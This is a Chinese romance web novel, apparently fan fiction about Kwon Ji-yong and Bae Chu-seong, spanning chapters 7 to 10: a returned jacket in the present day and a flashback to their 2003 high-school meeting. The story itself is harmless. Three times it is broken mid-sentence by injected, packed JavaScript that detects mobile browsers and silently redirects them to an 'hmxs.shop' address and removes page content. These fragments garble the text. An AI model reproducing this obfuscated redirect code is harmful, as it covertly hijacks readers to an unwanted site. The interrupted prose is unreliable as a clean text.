她闻声抬头,眼神因酒精而迷蒙,反应慢了半拍,脸上带着点懵懂的醉意。看了他好几秒,才似乎理解这个问题,软糯地嘟囔:“啊……外套……好像,忘在胜利那里了。”说完,还无辜地眨了眨眼,似乎完全不觉得在这冷风里丢失外套是什么大问题,甚至对他突然的询问感到一丝困惑。 至龙没再说什么,只是利落地脱下自己的黑色外套,动作间带起一丝淡淡的香水味。他直接上前一步,将带着体温的宽大外套罩在她身上。瞬间,他的体温和那股熟悉的、令人安心的香气将她包裹,也严实地遮住了那截晃眼的腰链和冰冷的金属触感。 至龙的指尖在为她拢好衣襟时,不可避免地擦过她裸露的、冰凉的肩头皮肤。那细腻而微凉的触感让他的动作顿了一瞬,随即迅速收回手,插进裤袋。 他别开视线,看向依旧空荡的街口,下颌线微微收紧,喉结轻滚了一下。“车快来了。”他低声说,语气刻意放得平稳,听不出什么波澜。 只有插在口袋里的手,指尖无意识地相互摩挲了一下,仿佛还在细细回味着方才那一瞬的微凉和细腻触感,那感觉久久不散。 车终于停稳。权至龙率先下车,然后绕到她这一边,轻轻打开车门。 夜风瞬间涌入,带着寒意。初星迷迷糊糊地睁开眼,长睫颤动着,眼神依旧茫然。 “到了。”他低声说,声音在寂静的夜里显得格外清晰、柔和。 前座的珍雅也被司机叫醒,跌跌撞撞地下来,努力保持清醒,挽住还有些搞不清状况的初星。 两人互相搀扶着,脚步有些虚浮地走向酒店大厅温暖的光晕里。 走了几步,初星忽然停下,回过头。路灯的光晕柔和地洒在她身上,宽大的男性外套更显得她身形纤细娇小,几乎被完全笼罩在他的气息里。 她看着依旧站在车边的权至龙,眼神因为酒精而湿润朦胧,她努力组织了一下语言,才轻声说,声音带着睡意和醉意交织的软糯:“…衣服。下次…还你。” 车门关上,将那缕熟悉的、混合着荼蘼花冷香、薄荷烟味密闭在狭小的空间里,浓郁得几乎具象,萦绕在他鼻尖。犹豫片刻,至龙还是伸手按下了车窗。 夜风灌入,冰冷而强劲,冲散了车内那片甜暖氤氲的气息,也吹得他额前碎发凌乱拂动。他面无表情地看着窗外,直到那个裹着他外套的纤细身影彻底消失在酒店旋转门后。 风持续地吹着,将最后一点残留的、属于她的暖香也彻底卷走,只剩下夜晚惯有的、微尘和凉意的味道。 他最终关上车窗。隔绝了内外的一切。 “走吧。” 声音平静无波,仿佛刚才那阵短暂而汹涌的香气与悸动,从未存在过。只有收紧的指节,泄露了心底未曾平息的波澜。 7. 暗涌 权至龙刚刷开房门,手机便在掌心震动了一下。他单手解开领口最上方的纽扣,另一只手拿出手机,屏幕亮起,冷光映出Kiko发来的信息: 「明天回日本,想来见你。」 他的动作顿住了。屏幕的光映在他没什么表情的脸上,眼底却掠过烦躁,像一颗石子投入深潭,打破了表面的平静。 至龙闭了闭眼,深吸一口气,将手机随意扔在沙发上,屏幕还固执地亮着那条信息,在略显凌乱的房间中格外醒目。他转身,径直走向浴室,拧开了冷水龙头。 水声淅沥,略带冰冷的水流冲刷着他的身体,却似乎盖不住心底某种嘈杂的回响。 至龙关掉水,用毛巾胡乱擦着头发走出来,发梢滴着水,落在酒店柔软的地毯上,悄无声息,一如他此刻沉静外表下暗涌的心绪。 房间一片寂静,只有远处城市隐约传来的嗡鸣。手机屏幕还亮着,像一枚安静的炸弹躺在沙发角落。那条信息的存在感无比强烈,穿透空气,干扰着他的心绪。 他走过去,没有立刻拿起手机,只是垂眸看着。屏幕的光倒映在他没什么情绪的眼底,深处却有什么在细微地翻涌。 最终,他没有回复。手指划过屏幕,直接关闭了通知,将手机屏幕朝下,果断地扣在冰凉的玻璃茶几上。 夜色透过宽大的落地窗,浸染着房间。他站在那里,背影在玻璃窗前显得有些孤直,也显得有些难以靠近的疏离。 空气中,那缕早已被风吹散的荼蘼花香,似乎又隐约浮动了一下,牵动某根敏感的神经。 至龙皱了下眉,拿起桌上剩下的半杯冰水一饮而尽,冰冷的液体划过喉咙,试图浇灭那点无名的躁动。他径直走向房间角落里的电子键盘。 很快,零散的、带着犹豫的音符开始逐渐凝聚,形成一段带有明显 Blues 色彩的、纠结而忧郁的旋律。它不像他往常那些华丽而精准抓耳的作品,更像是一种从胸腔深处直接流淌出的、未经过滤的原始情绪,充满了不确定和某种沉郁的渴望。 他摸出手机,解锁,打开录音功能,将其随意放在琴键边。然后俯身,更加专注地投入其中,指尖时而沉重时而轻缓地敲击键盘,捕捉着每一瞬流淌而过的感受。 偶尔,他会骤然停下来,在旁边的牛皮纸笔记本上潦草地写下几个词句,笔尖几乎要划破纸张。 “我们不要相爱了……” “其实是有点害怕……” “一直重蹈覆辙的失恋……” “愚蠢的迷恋……” “不知为何心越来越痛……” “但是这句话绝对真心……我喜欢你……” 字迹凌乱而急促,与其说是歌词,不如说是情绪碎片的直接捕获。 天光大亮,清澈的晨光透过窗帘缝隙洒入,驱散了夜的暧昧。权至龙坐在沙发上,昨晚那种莫名的烦躁并未随着夜色褪去,反而在清晰的晨光中变得更加明确,不容忽视。 他拿起手机,解锁,略过屏幕上其他未读消息,直接找到了那个名字,拨通了电话。 电话接通的瞬间,他先开了口,声音带着宿夜未眠的沙哑,却异常平静:“Kiko…你到了吗?” 电话那头传来轻快而熟悉的回应,带着明显的期待和笑意。 他垂下眼睫,目光落在自己昨晚写下的那些凌乱字句上,停顿了片刻,再开口时,语气放缓了些,却带着不容错辨的疏离与坚决:“抱歉…这次恐怕不太方便。” 他没有解释具体原因,也没有给出任何模糊的、关于未来的承诺,只是用一种温和却无比清晰的态度,在这道无形的界限上落下了轻轻的、却决定性的一笔。他知道这或许显得冷酷,但模糊的拖延是更深的残忍。尤其是当他自己也身处情感的迷雾,无法看清前方时。 电话挂断后的寂静里,那阵莫名的烦躁并未立刻平息,反而像是找到了一个更具体、更迫切的出口。 “外套……好像忘在胜利那里了。” 她昨晚带着醉意、含糊不清的话突然在他脑海里清晰地回响起来,异常鲜明。 至龙又拿起了手机,指尖划过屏幕上诸多未读消息的提示,直接点开通讯录,拨通号码。电话只响了两声便被迅速接起。 “哥,早上好啊!有什么事嘛?” 电话那头传来胜利一如既往活力十足、略带调侃的声音,背景音有些嘈杂,显然他已经在忙碌。 权至龙走到窗边,看着楼下逐渐苏醒、车流开始汇聚的城市街道,声音平静,听不出刚刚才做出了一个略显冷酷的决定:“她昨晚落了一件外套在你那里?” 电话那头的胜利愣了一下,随即恍然大悟地“啊!”了一声,语气变得肯定。“对对对!看我这记性,正想今天联系她来着。一件黑色的短款夹克是吧?在我休息室的沙发上。” “嗯。” 权至龙应了一声,停顿了片刻,仿佛只是经过短暂的思考,自然的说道:“我正好顺路,一会儿过去拿。” 胜利在那头笑了起来,笑声里带着点心照不宣的微妙意味:“行啊,你来呗。刚到了批不错的瑰夏,给你也煮一杯。” “半小时后到。”权至龙没有再多说,直接挂了电话。 半小时后,权至龙的车精准地停在工作室楼下。 他熟门熟路地刷卡进入,胜利正端着两杯刚煮好的咖啡从茶水间出来,看到他,扬了扬下巴,笑容灿烂:“够快的啊哥。”语气里的调侃意味依旧明显,将其中一杯香气浓郁的咖啡递过来。 权至龙接过那杯冒着热气的瑰夏,浓郁的坚果和花果香气弥漫开来。抿了一口,没接话,目光却已不着痕迹地扫向一旁的休息区。 那件黑色的、材质硬挺的女士短款夹克,被仔细地叠得整整齐齐,放在一个质感不错的白色硬纸袋里,就放在沙发扶手上,异常显眼。 胜利顺着他的目光看去,笑了笑,用下巴指了指:“喏,在那儿呢。叠好了,保证一根线头都没乱。”他顿了顿,看着权至龙没什么表情的侧脸,还是没忍住,语气稍微正经了些,加了句,“昨晚……没事吧?看怒那好像喝得有点多,后来都还好?” 权至龙的视线从纸袋上收回,落在胜利带着关切笑容的脸上,“没事。”语气平淡,听不出太多情绪。 他走过去,拿起那个纸袋。手指无意识地摩挲了一下纸袋光滑挺括的表面。 “谢了,咖啡。”他举了下手中的杯子,算是道别,转身就往外走,步伐没有丝毫迟疑。 “诶,哥,这就走了?不多坐会儿聊聊?”胜利在他身后喊了一句,声音带着点挽留的意味。 权至龙没有回头,随意地摆了摆手,身影很快消失在玻璃门后。 坐回车里,他将那个装着外套的纸袋放在副驾驶座上,没有立刻启动车子。 他双手握着方向盘,目光看着前方川流不息的车流,眼神却并没有真正的焦点。那杯没喝完的咖啡在杯架上散发着最后的余温,车里很安静,只有空调轻微的送风声。 过了一会儿,至龙拿出手机,屏幕亮起,没有来自Kiko的新消息提示。他看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680897|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼,然后直接长按侧键,屏幕彻底黑掉,他将手机扔进了旁边的储物格,发出轻微的碰撞声。 引擎启动,车子平稳地汇入早晨繁忙的车流。 副驾驶座上的那个白色纸袋,安静地待在那里,像一个沉默的、却散发着无形引力的谜题,牵动着他的心神。 车最终再次停在他昨夜才离开的酒店门口。他拿着纸袋,径直上了电梯,按下楼层,来到房门前,按响了门铃。 等待的几秒钟里,走廊安静得能听到自己的呼吸声。 门从里面打开。初星显然刚醒不久,长发有些凌乱地披散着,身上穿着柔软的丝质睡袍,意识尚未完全清醒,脸上还带着惺忪的睡意。当她看清门外站着的人时,某个深埋的、熟悉的称呼无意识地脱口而出:“Yeobo~” 话音刚落,她猛地愣住,瞳孔微缩,像是被自己这无意识的、过于亲昵的旧称吓到了,睡意瞬间驱散。脸颊迅速漫上一点不自然的、尴尬的红晕,手指下意识地紧紧捏住了睡袍的腰带,指节有些发白。 权至龙放在身侧的手几不可察地顿了一下。他的目光在她迅速泛红的脸颊和那双因失措而微微睁大的眼睛上停留了或许半秒。他什么也没说,脸上依旧是那副平静无波的表情,仿佛没有听到那个猝不及防的称呼。 他先动作,将手中的纸袋递过去,打破了这瞬间的微妙凝滞:“你的外套。胜利托我带的。” 初星有些慌乱地接过纸袋,羞恼地低头看了看袋中的衣物,声音比平时低软许多:“……谢谢。麻烦你了,还特意跑一趟。” “没事,顺路。”他点了下头,目光又在她泛着红晕的脸上短暂停留了一瞬,便移开,看向她身后的走廊,“走了。” 没等初星再作出任何回应,至龙已干脆地转身,走向电梯间,步伐稳定,没有回头。电梯门合上的轻微声响在寂静的走廊里格外清晰。 她靠在已然关紧的门后,心跳有些失序地加快,怀里抱着装有外套的纸袋,指尖触碰到的布料似乎还残留着外面的微凉,却又莫名地微微发烫。 权至龙的车在清晨略显空旷的道路上行驶了一段,随后缓缓停在了靠近海湾的一处观景路边。熄了火,车内陷入一片寂静,只剩下窗外掠过树梢的风声和远处隐约的海鸥鸣叫。他靠在驾驶座上,没有下车。 刚才门口那一幕在他脑中清晰地回放。她那声无意识脱口而出的、带着未散睡意和往昔亲昵的旧称,以及随后瞬间涨红的脸和那双写满羞恼与失措的眼睛,每一个细节都异常鲜明。 他降下车窗,带着咸涩水汽的清凉秋风立刻灌入车厢,吹动他额前的碎发,试图吹散心头那点莫名的烦躁和……一丝极细微的、连他自己都不愿去深究和命名的波动。目光漫无目的地扫过波光粼粼的海面,试图让大脑放空。 视线又无意识地掠过街角一个小型文化广场。那里正有一群穿着整齐校服、充满青春活力的高中生在进行社团路演,音乐声喧闹而富有生机。最终,他的目光被广场一侧一块设计极其雅致巨大的广告牌所吸引—— 那是来自中国的著名舞剧团在日巡演的巨幅宣传海报。海报主视觉是一个穿着飘逸水袖汉服、正在翩然起舞的女性剪影,姿态优雅灵动,极具东方韵味,旁边用优雅的字体写着“惊梦”二字。 权至龙紧紧盯着那张海报,视线聚焦在那如水般流动的袖影和舞者柔韧而富有张力的身姿上,然而他的思绪却仿佛被时光机猛地拽离当下,倏然飘回了那个记忆深处的、空气里弥漫着樱花与汗水气息的春天…… 8. 惊鸿 2003年,初春。 首尔一所高中的礼堂里正在举行社团汇演,空气闷热而嘈杂,混合着化妆品、汗水和年轻女孩们特有的甜香气味。权至龙和几个同样不安分的哥们儿,不知从哪儿弄来了这所高中的临时通行证,混在观众席里,美其名曰"开阔艺术视野",眼睛却滴溜溜地四处乱转。 节目一个接一个,流行舞、合唱、甚至还有夸张的话剧,都有些乏善可陈。直到报幕员念出"下一个节目,中国古典舞《洛春赋》,表演者,高一(三)班,裴初星"。 幕布缓缓拉开。 舞台灯光骤亮,映出一片春意盎然的背景。清脆欢快的丝竹声响起,一个身着浅碧色纱衣、手执一柄绘着桃枝的古风小扇的女孩跃然台上。她的舞步轻快活泼,层层叠叠的纱裙裙摆随着她的旋转如花瓣般绽放,又似湖水泛起涟漪。手中那小扇时而是扑蝶的玩具,时而是嗅闻的花枝,时而又化作春风拂面。她的笑容明媚灿烂,眼神流转间充满了生机与活力,轻薄的纱料随着她的跳跃和摆动,在空中划出优美飘逸的弧线,仿佛自带仙气,将春日的美好与欢愉表现得淋漓尽致。 权至龙看得入了神,他从没见过这样的舞蹈,不是街舞的酷,也不是芭蕾的雅,而是一种扑面而来的、纯粹又灵动的快乐,像一道阳光猛地照进有些沉闷的礼堂。他的心随着她的舞步、那双闪着得意光芒的眼睛、还有那飞扬的裙摆,跳得有点乱节奏,莫名的悸动在胸腔里悄然蔓延。 "喔!这个有意思!"旁边的朋友也来了精神。 权至龙没吭声,目不转睛地盯着舞台,仿佛要将那个灵动身影的每一个细节都刻进脑海里。当音乐在最高潮处戛然而止,初星以一个俏皮可爱的定格动作收尾时,他的心跳似乎也跟着停了一拍。扇子半遮面,只露出一双依旧笑弯了的、带着明显"我跳得超棒"意味的眼睛,微微喘息。那刚才还飞扬舞动的纱裙裙摆,此刻柔顺地垂落,却在他心中掀起了更大的波澜。 台下立刻爆发出热烈的掌声和欢呼。 表演结束,她在热烈的掌声中扬起下巴,带着心满意足的笑容谢幕,然后像只快乐的小鸟般翩然退场。权至龙的目光一直追随着她的身影,直到幕布完全落下,才依依不舍地收回视线,心中涌起一种莫名的失落和期待。 结束后,权至龙被朋友们拉出礼堂,但心思却还停留在那个惊艳的舞蹈和那个灵动的身影上。在拥挤的走廊里,他看到刚才那个惊艳的身影,心跳不由自主地加速。 是那个女孩。 她已经换下了那身惊艳的纱衣,穿着一身熨帖整洁的校服裙。独自站在窗边,午后的阳光勾勒出她的侧影,给她周身镀上了一层柔和的光晕。长相是一种惊人的漂亮华丽,却隐隐透着一种开到极盛后微妙的颓唐感,精致得近乎脆弱。眉眼浓丽,睫毛长而密,在眼睑下投出小片阴影,鼻梁高挺,唇形饱满却色泽偏淡。不笑不说话的时候,这些过于出色的五官组合在一起,非但不显张扬,反而奇异地凝结成一种冰冷的、拒人千里的清冷疏离感,仿佛周身都弥漫着一种"非请勿近"的屏障。 周围是喧闹的人群,她却像置身事外,低头看着自己的手,眼神淡淡的,没什么焦点,看起来一切的欢呼和讨论都与她无关。一个女生兴奋地跑过去想和她击掌庆祝,她抬起眼,那双漂亮的眼睛里没有太多情绪,只是轻轻摇了下头,随即又垂下眼帘。那反应干脆利落,带着一种不自觉的、被娇纵惯了似的"理所当然",仿佛世界本该绕着她的节奏运转。 权至龙双手紧紧捂住胸口,好像这样就能阻挡跳快得要冲出来的心脏。他觉得自己的呼吸都有些困难,一种前所未有的悸动席卷全身。那双清冷的眼睛,那种孤傲的气质,与舞台上那个灵动欢快的她形成了鲜明的对比,却同样让他移不开视线。在这一刻,他清楚地意识到——他好像一见钟情了。 …… 初星和好友珍雅并肩走在喧闹的走廊里,周围还充斥着刚才表演结束后的嘈杂议论声。珍雅还在兴奋地比划着刚才舞台上的细节,初星只是淡淡听着,脸上没什么表情。这种喧闹让她有点倦,只想快点离开这里。 这时,一个身影有些犹豫地、几乎算是怯生生地拦在了她们面前。 初星脚步一顿,垂下清冷的眼眸看去。 是个男生。身高比她高上一点,穿着另一所学校的普通校服,看起来干干净净。长相不是那种具有攻击性的帅气,眉眼柔和,脸部线条流畅,带着点未褪的婴儿肥,显得没什么距离感,有点…好欺负的样子。但他此刻的表情却紧张得要命,眼睛像受惊的小鹿一样,湿漉漉地看着她,又飞快地躲开,手指不安地揪着衣角,整个人透着一股软乎乎的局促感。 "那…那个…"他开口,声音小小的,还有点奶,像含着一颗糖,"你…刚才的舞蹈…跳得…非常…非常棒!"他说得异常认真,甚至因为用力,脸颊都微微鼓了起来,透出淡淡的粉色。说完这句话,他像是用尽了全部勇气,连耳根都红透了,眼神躲闪着不敢直视她,却又忍不住偷偷瞄她,期待着她的反应。 初星清冷的眉梢几不可察地动了一下。夸她跳得好的人很多,但用这么一副仿佛鼓起毕生勇气、下一秒就要害羞得缩起来的样子来夸的,还是第一个。像只小心翼翼递出爪爪的小奶狗,让人不忍心拒绝。 出于礼貌,她轻轻颔首,声音依旧平淡:"谢谢。"说完,便准备绕开这个看起来毫无威胁性的男生。 然而,她刚迈出一步,那男生似乎更急了,下意识地微微张开手臂想拦,又觉得不妥立刻缩回去,脸更红了,嘴唇嗫嚅着,却发不出声音,只剩那双小鹿眼焦急又无助地看着她,眼神里写满了"请别走"的恳求。 另外几个明显活泼得多的男生大笑着围了上来,瞬间打破了这微妙的僵局。 "嘿!你好!你刚刚跳得真是太精彩了!"一个男生抢先说道,毫不客气地揉了揉那个紧张男生的头发,"看把我们至龙给紧张的!话都说不利索了!""哈哈哈没错!他可是我们学校的风云人物,说唱跳舞超有感觉的,就是一见你就软了!"另一个男生笑嘻嘻地搂住紧张男生的肩膀,后者被说得几乎要把头埋进胸口,却还是忍不住偷偷抬眼看向初星,眼神里带着几分窘迫和期待。"他是权至龙!虽然看起来软乎乎的,但真的超厉害哦!你们认识一下嘛!" 七嘴八舌的声音炸开。初星听明白了,这个紧张得快要蒸发掉的男生,叫权至龙。 珍雅在一旁已经笑得肩膀发抖,觉得这场面有趣极了。 初星的目光再次落回那个名叫权至龙的男生身上。他被朋友们调侃得毫无招架之力,耳朵红得滴血,脑袋低垂,露出柔软的发旋,整个人散发出一种"求你们别说了"的软萌气息,看起来更好欺负 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680898|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 奇怪的是,他偶尔飞快抬起眼看她时,那眼神里的紧张和羞窘之下,却藏着一种异常明亮和执着的光,像是不甘心就这样被看扁,想要在她面前证明什么。 他那副明明自己害羞得要死、却还是倔强地站在她面前不肯退开的样子…… 心里那点被打扰的不快,莫名地被一种近乎"有趣"的情绪取代了。她依旧没什么表情,但停下了脚步,想要看看这只"小奶狗"到底能有多大胆子。 只见他像是被朋友的话刺激到了,猛地吸了一口气,抬起头,脸颊红透,但还是努力地对上她的视线,声音比刚才大了一点,带着点颤音,却异常清晰: "你好,我…我是权至龙!你…你呢?" 走廊的喧闹仿佛在这一刻被隔绝开来。权至龙的心脏在胸腔里狂跳,他几乎能听到自己血液流动的声音。他紧紧盯着初星,生怕错过她任何一个细微的表情变化。 初星看着他红扑扑的、软乎乎却写满认真的脸,和他身边那群看热闹不嫌事大的朋友。她忽然觉得,有点意思。他那种纯真又执着的眼神,让她产生了一种想要逗弄他的冲动。 权至龙问完那句话,几乎是屏住了呼吸,那双湿漉漉的小鹿眼一眨不眨地看着初星,等待着审判。他的手指无意识地绞在一起,显示出内心的紧张和不安。 周围朋友的起哄声也默契地低了下去,全都好奇地看着初星。 初星的目光在他通红的脸颊和紧张的眼睛上停留了两秒。他这副样子,实在很难让人说出拒绝的话。她粉唇轻启,声音依旧淡淡的,没什么起伏: "裴初星。" 只是简单地吐出了自己的名字,没有多余的一个字。 但这对权至龙来说,已经是天籁之音了!他的眼睛瞬间亮了起来,像是盛满了星星,嘴角控制不住地向上扬起,露出一个有点傻气却无比开心的笑容,那颗小小的虎牙也俏皮地露了出来,让他看起来更显稚气和无害。他像是得到了全世界最珍贵的礼物,整个人都明亮了起来。 "初…初星xi…"他小声地、珍重地重复了一遍这个名字,似乎这是什么稀世珍宝,脸颊上的红晕更深了。他沉浸在巨大的喜悦里,刚想再说点什么,表达自己的激动和欣赏。 就看到初星微微向前倾了一点点,那双清冷漂亮的眼睛直视着他,里面似乎闪过一丝极淡的、近乎狡黠的光,语气平铺直叙,却扔下了一颗炸弹: "所以,权至龙xi,问了名字之后呢?是打算追我吗?" 空气瞬间凝固。 权至龙脸上的笑容猛地僵住,大脑被这句话炸得一片空白,血液轰的一下全部涌上头顶,脸和脖子以肉眼可见的速度瞬间变得通红,甚至能看到细微的血管跳动。他整个人像被点了穴,呆立在原地,手指无意识地攥紧了衣角,揪得发白。他感觉自己像是被剥光了站在她面前,所有的心思都被看穿,无处遁形。 "我…我…"他张了张嘴,声音卡在喉咙里,羞得几乎要冒烟,但在她那近乎直白的目光注视下,一种莫名的勇气压倒了羞窘。他闭上眼睛,像是豁出去了一般,几乎是喊了出来:"是!我想!" 喊完之后,他立刻紧紧闭着眼,不敢看她,像一只等待命运裁决的、瑟瑟发抖的小动物。他的心在胸腔里狂跳,既期待又害怕她的回应,整个人都处于一种极度紧张的状态中。 9. 雨中的温度 周围的朋友们都惊呆了,张大嘴巴看着这超出预料的发展,空气仿佛凝固了。 初星看着他这副视死如归、脸红得快要爆炸的样子,眼底那丝恶趣味得到了极大的满足。她缓缓直回身体,表情恢复了一贯的冷淡,甚至带着点漫不经心的残忍,用最平静的语气,给出了最打击人的回答: "这样啊。"她轻轻颔首,“但是抱歉呢,权至龙xi,你不是我喜欢的类型。" 说完,她甚至没有再多看石化在原地的权至龙一眼,拉了一下同样目瞪口呆的珍雅,干脆利落地转身,裙摆划过一个冷淡的弧度,径直离开,没有一丝留恋。 "……"权至龙僵硬地站在原地,眼睛还闭着,长长的睫毛剧烈地颤抖着,脸上的血色一点点褪去,变得有些苍白。 "至龙…你没事吧?"朋友们围上来,有点担心地看着他。 几秒钟后,权至龙才缓缓地、极其缓慢地睁开了眼睛。 出乎所有朋友的意料,他那双清澈的小鹿眼里并没有出现被拒绝后的伤心或难堪,反而闪烁着一种更加复杂、更加炽热的光芒。他望着初星消失的走廊方向,抬起手,轻轻按在自己依旧疯狂跳动的心脏上。 那里,跳得比刚才她表演时更快,比任何一次练习到虚脱时更猛。 一种混合着极度羞耻、极度刺激、以及被彻底看穿和拒绝后反而更加汹涌的征服欲和兴趣,像海啸一样席卷了他。 她那么直接,那么冷静,那么……恶劣。却又那么迷人。 他舔了舔突然有些发干的嘴唇,眼睛里重新燃起亮得惊人的光,那光芒里甚至带着点不管不顾的执着。 "呀……完全……"他低声喃喃自语,声音里带着一种奇异的颤抖,"……更心动了怎么办……"他站在原地,手指还无意识地按在狂跳不止的心口,痴痴地望着早已空无一人的走廊拐角,仿佛还能看到那抹清冷决绝的背影。 "至龙?你…你真没事吧?"朋友小心翼翼地拍了拍他的肩膀,试图唤回他仿佛飘走的魂儿,"那个…初星xi她可能就是…" "她真的好特别。"权至龙转过头,打断朋友安慰的话,眼睛亮得吓人,里面燃烧着一种疯狂的火焰,"你们看到了吗?她那么直接!那么酷!说不喜欢的时候,眼睛都没眨一下!" 朋友们面面相觑,一时不知道该怎么接话。这反应…好像不太对劲? "不是,至龙,她那是拒绝你了啊……"另一个朋友试图让他认清现实。 "我知道啊!"权至龙用力点头,脸颊因为激动又泛起红晕,这次却不是全因为害羞,"拒绝得那么干脆!一点余地都不留!哇……完全帅气!"他甚至还夸张地比了个大拇指,脸上洋溢着一种混合着崇拜、受虐和极度兴奋的复杂表情。 朋友们:"……"完了,这孩子没救了。 "走了走了,回学校了!"权至龙突然像是被打满了气,一改之前的僵硬和呆滞,活力满满地揽过朋友的肩膀,脚步轻快得几乎要跳起来,嘴里还哼起了不成调的曲子。 那样子,不像刚被狠狠拒绝,倒像是中了头等大奖。 回学校的路上,他几乎一刻不停地在念叨。"初星…原来她叫初星…""她跳舞那么厉害,性格还这么酷…""她说不喜欢我…嗯…没关系!"他忽然握紧拳头,像是下了什么重大决心,那颗小虎牙在阳光下闪了一下,"她现在不喜欢,不代表以后也不喜欢!" 朋友们看着他这副斗志昂扬、越挫越勇的样子,彻底无语了。 而另一边,已经回到教室的初星正支着下巴看向窗外。同桌珍雅在收拾东西还在她耳边叽叽喳喳。"我的天,初星你刚才也太狠了吧!没看那个权至龙xi都快哭出来了吗?不过…他脸红的样子真的好可爱啊…" 初星漫不经心地"嗯"了一声,指尖无意识地划过桌面。 她确实有点恶趣味,喜欢看别人因为她的话而露出有趣的反应。那个权至龙,反应尤其剧烈,也尤其…好玩。像只被逗弄得过了头、惊慌失措却又忍不住想靠近的幼犬。 她并不讨厌这种感觉。甚至,有点期待他下次还会做出什么更有趣的反应。收回目光,唇角勾起一抹极淡、却真实存在的笑意,转瞬即逝。 而此刻,正走在回校路上、下定决心要"迎难而上"的权至龙,莫名其妙地打了个小小的喷嚏。他揉了揉鼻子,心里却更加雀跃——是不是初星在想他? …… 日子仿佛又回到了之前的轨道,但某些细微的东西确实不一样了。 权至龙开始频繁地出现在初星学校附近,理由五花八门——"顺路"、"来找朋友"、"这边的炒年糕比较好吃"。他不敢再像第一次那样直接冲上去拦人,往往只是远远地看着。 偶尔,初星会和那个叫珍雅的朋友一起出来。有时能被他"偶遇"到。 他会鼓起勇气上前,递上一瓶冰凉的果汁或一盒精致的点心,手指因为紧张而微微发抖,耳朵尖泛着红,说话还是有点磕巴:"初…初星xi,这个…给你。" 初星从来都不予理会。 后来他不知从哪里打听到了初星的班级,甚至摸清了她每周哪几天会晚离开教室。他的"偶遇"变得不再那么完全随机。 他递过来的东西也开始升级。不再是普通的果汁点心,而是包装精致、据说是她最喜欢的那家甜品店的限量抹茶蛋糕,或者是他排了很久队才买到的、她常喝的那个牌子的特定口味牛奶。 每次递上时,他还是那副紧张又期待的样子,耳朵通红,声音发软:"初星…初星xi,听说…听说你喜欢这个…" 初星淡淡地瞥一眼包装袋,眼神里闪过一丝极淡的诧异,似乎意外于他竟然能精准买到她的喜好。偶尔她会接下,但更多时候只是摇摇头,清冷的眼神甚至懒得在他身上多停留一秒,便径直离开。 每一次被拒绝,权至龙都会肉眼可见地蔫儿一下,但第二天,他又会带着新的、她喜欢的东西出现。他打听到她因为成绩优异跳了一级,虽然同是高一,实际年龄却比他小一点,这让他心里莫名地生出一种更想保护她的冲动。 他还更拼命地练习舞蹈,仿佛只有在她擅长的领域做到极致,才能稍微配得上她的优秀,才能让她…或许能看他一眼。 朋友们都笑他疯了,中了名叫"初星"的毒。他只是揉揉鼻子,有点不好意思地笑,那颗小虎牙若隐若现:"她值得啊。而且…她那么聪明,跳级呢…"语气里是藏不住的崇拜。 而初星这边,珍雅的播报也升级了。"初星!权至龙是不是又送你那家很难买的抹茶蛋糕了?他好像提前一小时就去排队了!""哇,他连你只喝特定口味的牛奶都知道!谁告诉他的?""他今天好像又去练舞到很晚,据说要参加什么比赛呢…" 初星通常只是听着,不置可否。但她发现自己似乎渐渐习惯了这种带着"情报"的、精准的"骚扰"。甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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那个傻子还站在原地,浑身湿透,却看着她离开的方向,笑得像个真正的傻瓜,还无比用力地、傻乎乎地朝她挥着手,完全不顾自己淋得像只落汤鸡。 那把精致干燥的伞在她手中忽然变得有些沉甸甸的。 初星看着他这副样子,心里那点因为利用他的喜欢来满足自己微妙虚荣心和恶趣味而产生的、连她自己都不愿深究的内疚感,悄然冒了出来。 隔天放学,天气放晴。权至龙果然又早早等在了老地方,脸上带着显而易见的期待和昨晚惊喜的余温,手里似乎还拿着什么新的小礼物。 初星和珍雅一起走出来。她看到权至龙,转身对珍雅耳语几句,随后一个人径直走到他面前。 权至龙眼睛一亮,刚要开口。 初星却先说话了,表情是她一贯的冷淡,甚至比平时更疏离一些,声音清晰,不容置疑: "权至龙xi。" 权至龙脸上的笑容微微僵住,似乎预感到了什么。 "谢谢你昨天的伞。"她公事公办地道谢,然后话锋一转,"但是,我希望这是最后一次。" 她直视着他瞬间黯淡下去的眼睛,语气平静却残忍,像是在陈述一个客观事实:"你做的这些,没有任何意义。我不喜欢你,以前不喜欢,现在不喜欢,以后也不会喜欢。""所以,请不要在我身上浪费你的时间了。这些……"她目光扫过他手里还没来得及送出的东西,"……都不需要。" 说完,她不再看他,转身离开。 10. 笨拙的靠近 “等等!”权至龙猛地喊住她,声音因为急切而微微拔高,带着一丝破碎感。 初星停下脚步,却没有回头,只是微微侧过身,用眼角的余光清冷地瞥向他,无声地询问他还有什么事。 